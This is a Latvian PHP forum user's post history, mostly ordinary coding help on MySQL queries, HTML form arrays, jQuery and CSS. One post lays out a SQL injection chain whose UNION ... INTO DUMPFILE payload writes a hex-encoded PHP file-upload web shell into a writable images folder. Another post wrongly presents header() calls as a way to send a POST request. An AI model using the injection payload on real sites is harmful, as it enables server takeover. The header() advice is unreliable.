Jump to content
php.lv forumi

marcis

Reģistrētie lietotāji
  • Posts

    1,765
  • Joined

  • Last visited

Everything posted by marcis

  1. marcis

    POST data

    Taisi ciklā izņēmumus + ieteiktu lietot html masīvus. <input type="text" name="data[test1]" value="" /> <input type="text" name="data[test2]" value="" /> <input type="text" name="data[test3]" value="" /> <input type="text" name="pk[]" value="" /><input type="text" name="pk[]" value="" /> $fields=array(); $values=array(); foreach($_POST['data'] as $key=>$value){ $fields[]=$key; $values[]=$value; } $fields[]="personas_kods"; $values[]=implode("-",$_POST['pk']); Šis ir tikai piemērs, bet idejai vajadzētu būt skaidrai.
  2. Kaut kādi punkti jau gan it kā nevarēju nograut kveriju, bet atšķirības varētu veidot, piemēram, magic_quotes - uz viena servera ir ieslēgts, uz otra izslēgts.
  3. WTF?! PhpMyAdmin skatīt cauri un atrast īsto vietu, kur mainīt šos variabļus, varētu būt sarežģīti, tāpēc nomaini tos php.ini failā vai ar .htaccess
  4. Norādot linku, "%20" vietā liec "-". Tāda varētu būt atbilde uz šādu jautājumu.
  5. marcis

    ip čats,galerija

    www.invisionpower.com
  6. marcis

    POST header()

    Tad izmanto to pašu header(); $data = urlencode("lauks1=vertiba&lauks2=vertiba"); header("POST /posta/ceļš/fails.php HTTP/1.1\r\n" ); header("Host: www.citalapa.lv\r\n" ); header("Content-type: application/x-www-form-urlencoded\r\n" ); header("Content-length: ".strlen($data)."\r\n" ); header("Connection: close\r\n\r\n" ); echo $data;
  7. body onload īvents izpildās brīdī, kad lapa ir pilnībā ielādēta brouzerī, šajā gadījumā tiks izsaukta funkcija sum();, kas pie lapas ielādes izpildīsies - saskaitīs input'u vērtības.
  8. Lūk tieši šī iemesla dēļ man patīk jQuery - css selektors.
  9. marcis

    POST header()

    Tad jau jāprasa, kur bija problēma nosubmitēt formu uzreiz uz citu lapu? Kaut kāds submits jau tev tev notiek jebkurā gadījumā, ne?
  10. Nevajag taisīt *1, bet izmantot parseInt()
  11. marcis

    POST header()

    http_post_fields()
  12. Tici man, ajax nebūt nav tā sarežģītākā lieta, bet viena no cilvēkiem patīkamākajām gan ;) Ņem, piemēram, jQuery palīgā un nevaru iedomāties, kur tev varētu rasties problēmas.
  13. Datubāzes tabulā tev būs ieraksti, tad atlasi sev vajadzīgos ierakstus un izvadi tos, lietojot while ciklu. $sql="SELECT nosaukums, teksts FROM `tabula`"; // sastādam pieprasījumu $res=mysql_query($sql); // izpildam pieprasījumu while($row=mysql_fetch_object($res)){ // ciklējam caur saņemtajiem datiem echo '<div><h1>',$row->nosaukums,'</h1><p>',$row->teksts,'</p></div>'; // izvadam datus } Protams, var skatīties kā tas tiek darīts jau gatavos projektos, bet tur noteikti būs iestrādātas simtiem dažādas nianses, kas saprašanas procesu padarīs krietni grūtāku.
  14. Loģiski, rindiņa nav pabeigta. else { ?> Laikam sapratu ko tu mēģināji panākt, bet varu paskaidrot, ka viss, kas ir ārpus <? ?> tagiem automātiski tiek izvadīts uz ekrāna.
  15. Tāpēc, ka IE ir IE (:
  16. Ja jau tu funkciju izsauc tikai vienreiz, lai definētu mainīgo, tad kāda īsti ir jēga no funkcijas? $admins=(isset($_SESSION['logged']) && $_SESSION['logged']+1800 > time())?true:false;
  17. marcis

    multiple upload

    marrtins -> www.swfupload.org
  18. Sākumā ?id=1', tad ieraugam kurā failā ir error's. Paskatamies, kur atrodas lietotāju aploudotas bildes un atrodam mapi, kurai ir rakstītšanas tiesības (visbiežāk visi uzmet chmod 0777, nevis, piemēram, 0775 vai vēl mazāk). Un tad jau varam uztaisīt kaut vai php failu, kurš ļaus upload'ot da jebko. ?id=1 UNION SELECT '3c3f696628245f46494c45535b2766696c65275d297b6d6f76655f75706c6f616465645f6669 6c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c222f7661722f7777772 f6c6170612f696d616765732f222e245f46494c45535b2766696c65275d5b276e616d65275d293b7d 3f3e3c666f726d20616374696f6e3d223f22206d6574686f643d22706f73742220656e63747970653 d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522 206e616d653d2266696c65223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3 e' INTO DUMPFILE '/var/www/lapa/images/upload.php'
  19. marcis

    SQL

    Tev tur prasa MSSQL, nevis MySQL.
  20. marcis

    multiple upload

    Ja reizē gribi izvēlēties vairākus failus, tad nāksies lietot flash vai java, vai vēl kaut ko citu.
  21. Drošvien, ka pēc šīs $res=mysql_query($qry); rindiņas. Tev pat mainīgie sakrīt, būtu vismaz paeksperimentējis ;)
  22. Piedod, bet pats vainīgs, ja baidās ;)
  23. marcis

    css !

    Tā nevarēs. 1) Taisi atsevišķu elementu ar vajadzīgo augstumu, kuram liec rāmi 2) Taisi rāmi kā background-image
  24. Bet tu esi pārliecināts, ka tur patiešām nav jābūt šodienai?
×
×
  • Create New...